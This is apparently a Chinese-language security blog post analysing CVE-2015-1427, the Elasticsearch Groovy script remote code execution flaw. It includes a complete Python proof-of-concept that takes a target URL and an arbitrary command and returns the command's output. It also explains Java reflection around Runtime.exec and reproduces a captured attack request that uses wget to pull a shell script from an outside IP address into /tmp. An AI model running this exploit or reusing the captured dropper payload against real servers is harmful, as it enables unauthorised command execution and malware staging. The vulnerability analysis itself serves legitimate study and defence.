1、CVE-2015-1427
ElasticSearch是一个JAVA开发的搜索分析引擎。 ElasticSearch Groovy脚本被爆出存在远程代码执行漏洞。 Groovy 是一种基于 JVM 的敏捷开发语言,它结合了 Python、Ruby 和 Smalltalk 的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy 可以使用其他 Java 语言编写的库。
2、PoC代码
#!/usr/bin/env python
#-*-coding:utf-8-*-
import urllib
import urllib2
import json
import sys
def execute(url,command):
parameters = {
"size":1,
"script_fields":
{"iswin":
{
"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).\newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.\class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").\getInputStream())).readLines()" % command,
"lang": "groovy"
}
}
}
data = json.dumps(parameters)
try:
request=urllib2.Request(url+"_search?pretty",data)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36')
response=urllib2.urlopen(request)
result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]
for i in result:
print i
except Exception, e:
print e
if __name__ == '__main__':
if len(sys.argv) != 3:
print "usage %s url command" % sys.argv[0]
else:
execute(sys.argv[1],sys.argv[2])
java.lang.Runtime.exec方法用于调用外部程序,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池。java里面能够执行系统命令的类是Runtime类的exec()方法,至于getRuntime()其实就相当于new一个Runtime方法,下面代码可以弹出记事本
package Serialize1;
public class ExecTest {
public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("notepad.exe");
}
}
使用反射机制来实现Runtime的exec方法调用
package Serialize1;
import java.lang.reflect.Method;
public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
这里第一句Object runtime =Class.forName("java.lang.Runtime")的作用
等价于 Object runtime = Runtime.getRuntime()
又等价于 Object runtime = new Runtime()
目的是获取一个对象实例好被下一个invoke调用
第二句Class.forName("java.lang.Runtime").xxxx的作用就是调用上一步生成的runtime实例的exec方法,并将"notepad.exe"参数传入exec()方法
getMethod(方法名, 方法类型)
invoke(某个对象实例, 传入参数)
3、CVE-2015-1427 PCAP分析
分析样本 359e7272c933c710476955508d687ad3
POST /_search?pretty HTTP/1.1
Host:
*.*.*.*:9200
User-Agent: Go-http-client/1.1
Content-Length: 206
Connection: close
Accept-Encoding: gzip
{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget
http://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh -P /tmp/sssooo\").getText()"}}}
参考
【1】https://www.secpulse.com/archives/5047.html
【2】JAVA反射机制exp https://www.jianshu.com/p/8e1441ddff1f
【3】https://blog.csdn.net/tiantang_1986/article/details/51219916